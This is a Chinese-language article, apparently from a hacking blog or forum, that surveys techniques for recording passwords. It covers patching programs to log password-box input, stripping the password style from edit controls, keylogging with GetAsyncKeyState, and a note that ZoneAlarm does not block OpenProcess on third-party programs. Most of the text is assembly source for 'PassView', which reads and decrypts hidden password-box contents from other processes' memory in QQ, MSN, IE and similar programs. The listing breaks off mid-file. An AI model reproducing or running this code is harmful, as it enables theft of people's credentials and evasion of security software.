目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.
注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.
注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.
注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..
该库文件编译后只有600多个字节.
注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.
附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL
内存读取获得密码(原创)
; #--------------------------------------# #
; # PassView # #
; # # #
; # #
; # 2007.1.1 #
; # codz: czy # #
; #------------------------------------------# #
;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib
CLIENT_ID STRUCT ; sizeof = 8
UniqueProcess HANDLE ?
UniqueThread HANDLE ?
CLIENT_ID ENDS
THREAD_BASIC_INFORMATION STRUCT ; sizeof = 1ch
ExitStatus DWORD ?
TebBaseAddress PVOID ? ; PTEB
ClientId CLIENT_ID <> ; 8h
AffinityMask DWORD ? ;
Priority DWORD ?
BasePriority DWORD ?
THREAD_BASIC_INFORMATION ENDS
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
ViewPass proto
_ProcessPeFile proto :dword
GetUnknowVarOffset proto
GetUser32Base proto :dword
CheckOS proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS equ 0
ThreadBasicInformation equ 0
DLG_MAIN equ 1000
ID_PWD equ 1001
IDB_1 equ 1
IDC_BMP equ 108
RGB MACRO red, green, blue
xor eax, eax
mov al, blue ; blue
rol eax, 8
mov al, green ; green
rol eax, 8
mov al, red ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain dd ?
vp db ’viewpass 0.1 codz czy’,0
PASSLEN DD ?
ENCODE DD ?
WINTHREADID DD ?
WINHAND DD 0
unknownvar DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset dd ?
modbase dd ?
lenoffset dd ?
passoffset dd ?
Tahoma db ’Tahoma’,0
editname db ’EdIt’,0
Richeditname db ’RichEdit20W’,0
dataname db ’.data ’,0
erros db ’不是吧,还在用WIN9X/NT4’,0
nowin db ’找不到主窗体’,0
nowin2 db ’找不到子窗体中的密码窗口’,0
errnowow db ’不能找到UserRegisterWowHandlers函数地址’,0
errnocode db ’不能找到UserRegisterWowHandlers函数中相匹配的机器码’,0
erropenthread db ’不能打开线程’,0
errgetteb db ’打开线程但不能得到TEB’,0
errnorealcid db ’不能得到TEB中的RealClientID’,0
errnounknowvar db ’不能从user32.dll中找到未知变量’,0
passerr db ’密码太长或为空’,0
tebformat db ’TEB %x’,0
varformat db ’user32.dll gSharedInfo addr:%x’,0
varformat2 db ’GUI TABLE in user modle addr:%08x’,0
realcidformat db ’real cid:%x’,0
Wndformat db ’pass window hand:%x,win thread id:%x’,0
wndcontformat db ’win struct:%x’,0
passaddrformat db ’pass addr:%x’,0
passlenformat db ’pass len:%d’,0
passformat db ’pass decode is:%x’,0
user32dll db ’user32.dll’,0
Ntdll db "NTDLL.DLL",0
_UserRegisterWowHandlers db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND DD 0
apiquerthread dd ?
Pthreadinfo dd ?
.data?
hInstance dd ?
szBuffer db 256 dup (?)
buffervar db 32 dup (?)
buffervar2 db 32 dup (?)
bufferteb db 32 dup (?)
bufferPassWnd db 32 dup (?)
bufferrealcid db 32 dup (?)
bufferwndcont db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen db 32 dup (?)
bufferpass1 db 128 dup (?)
bufferuni db 256 dup (?)
classname db 128 dup (?)
buffer1 db 128 dup (?)
buffercode db 1024 dup (?)
.code
;********************************************************************
ViewPass proc
LOCAL parid:dword
LOCAL threadinfo:THREAD_BASIC_INFORMATION
;invoke MessageBox,0,offset vp,offset vp,1
;--------------判断操作系统
invoke CheckOS
.if eax == 0
ret
.endif
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
MOV EBX,WINHAND
.if EBX!=NULL
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX
;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
.else
invoke MessageBox,0,offset nowin2,offset vp,1
ret
.endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址
invoke GetUser32Base,parid
mov modbase,eax
;--------------根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
.if eax != NULL
mov THREADHAND,EAX
, ; invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
;invoke wsprintf,offset bufferteb,offset tebformat,esi
;invoke MessageBox,0,offset bufferteb,offset vp,1
;-------------------------得到TEB中的RealClientID
add esi,6cch
add esi,1ch
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
.if eax == TRUE
mov eax,offset buffer1
mov eax,[eax]
mov edi,eax
.if eax !=NULL
;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
;invoke MessageBox,0,offset bufferrealcid,offset vp,1
.else
invoke MessageBox,0,offset errnorealcid,offset vp,1
ret
.endif
.endif
;密码窗口句柄取低16位
xor eax,eax
mov ebx,WINHAND
mov ax,bx
add ax,ax
add ax,bx ;3
add ax,ax ;6
add ax,ax ;12
mov ebx,eax
pushad
invoke GetUnknowVarOffset
.if eax !=NULL
mov eax,VarOffset
add eax,modbase
add eax,VirtualAddress
;invoke wsprintf,offset buffervar,offset varformat,eax
;invoke MessageBox,0,offset buffervar,offset vp,1
.else
invoke MessageBox,0,offset errnounknowvar,offset vp,1
ret
.endif
popad
mov ecx,VarOffset
add ecx,modbase
add ecx,VirtualAddress
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
;push ecx
;invoke wsprintf,offset buffervar2,offset varformat2,ecx
;invoke MessageBox,0,offset buffervar2,offset vp,1
;pop ecx
.endif
add ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
sub ecx,edi ;减REALCLIENTID
mov esi,ecx
;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
;invoke MessageBox,0,offset bufferwndcont,offset vp,1
add esi,passoffset
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov esi,[ecx]
.endif
;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
;invoke MessageBox,0,offset bufferpassaddr,offset vp,1
;得到密码长度
mov ecx,esi
add ecx,lenoffset
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
mov PASSLEN,ecx
.endif
.if ecx>0 && ecx <32
;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
;invoke MessageBox,0,offset bufferpasslen,offset vp,1
.else
invoke MessageBox,0,offset passerr,offset vp,1
ret
.endif
;得到加密密码的变量
mov ecx,esi
add ecx,0ECh
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
MOV ECX,[ECX]
xor edx,edx
movzx edx,cl
mov ENCODE,EDX
.endif
;invoke wsprintf,offset bufferpass1,offset passformat,edx
;invoke MessageBox,0,offset bufferpass1,offset vp,1
;得到解密后的密码
mov ecx,esi
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
mov ebx,ecx
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
.if eax == TRUE
mov esi,offset buffer1
.endif
MOV EDX,ENCODE
mov cl,dl
mov edi,PASSLEN
@@nextpass:
CMP EDI,1
JBE @@firstpass
mov eax,esi
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass
@@firstpass:
or cl,43h ;WHY?
mov edx,offset buffer1
xor [edx],cl
;密码可能是UNICODE的
invoke lstrlenA,edx
.if eax<PASSLEN ;密码是UNICODE
mov edx,PASSLEN
add edx,edx
mov ecx,ebx
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
.if eax == TRUE
mov esi,offset buffer1
.endif
mov edi,PASSLEN
add edi,edi
MOV EDX,ENCODE
mov cl,dl
@@nextpass2:
CMP EDI,1
JBE @@firstpass2
mov eax,esi
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass2
@@firstpass2:
or cl,43h
mov edx,offset buffer1
xor [edx],cl
;invoke MessageBoxW,0,edx,edx,1
invoke SetDlgItemTextW,hWinMain,ID_PWD,edx
.else
mov ecx,offset buffer1
add ecx,PASSLEN
xor eax,eax
MOV [ECX],eax
invoke SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
invoke RtlZeroMemory,offset buffer1,128
.endif